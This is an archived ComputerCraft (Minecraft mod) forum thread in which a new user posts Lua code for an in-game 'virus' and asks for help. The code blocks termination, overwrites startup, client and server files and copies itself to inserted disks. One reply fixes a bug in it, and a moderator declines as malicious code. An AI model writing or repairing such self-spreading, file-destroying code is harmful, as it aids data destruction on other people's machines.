This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
shadowcode's profile picture

error

Started by shadowcode, 16 January 2017 - 11:02 AM
shadowcode #1
Posted 16 January 2017 - 12:02 PM
uh i created a programm and it doesn't work plz help me im new
  • os.pullEvent = os.pullEventRaw()
  • key = read()
  • –programm–
  • disk.eject("left")
  • disk.eject("right")
  • disk.eject("top")
  • disk.eject("bottom")
  • disk.eject("front")
  • disk.eject("back")
  • local password = "1337"
  • print("Enter key for deleting virus…")
  • local input = read("*")
  • if input == password then
  • print("deleting virus…")
  • shell.run("delete startup")
  • sleep(5)
  • print("done!")
  • os.reboot()
  • else
  • print("deleting all files key was wrong…")
  • sleep(5)
  • term.clear()
  • term.setCursorPos(1,1)
  • term.setTextColor(colors.red)
  • term.setBackgroundColor(colors.blue)
  • disk.eject("left")
  • disk.eject("right")
  • disk.eject("top")
  • disk.eject("bottom")
  • disk.eject("back")
  • disk.eject("front")
  • shell.run("delete startup")
  • shell.run("copy virus startup")
  • shell.run("delete client")
  • shell.run("delete server")
  • shell.run("copy virus client")
  • shell.run("copy virus server")
  • shell.run("copy startup disk/startup")
  • os.shutdown()
  • end
  • end
  • end
supernicejohn #2
Posted 16 January 2017 - 12:13 PM
Specifying the error code helps to diagnose the problem, but I believe that
"os.pullEvent = os.pullEventRaw()"
is not what you want to do, since that would capture the first event (likely "key_up" from shell) and storing "key_up" in the variable os.pullEvent.
That results in that pullEvent can no longer be called by the read() function. Change that line to
"os.pullEvent = os.pullEventRaw"
and it should work as expected.
Bomb Bloke #3
Posted 17 January 2017 - 05:46 AM
There's more to it than that, but these boards are not the place for malicious code.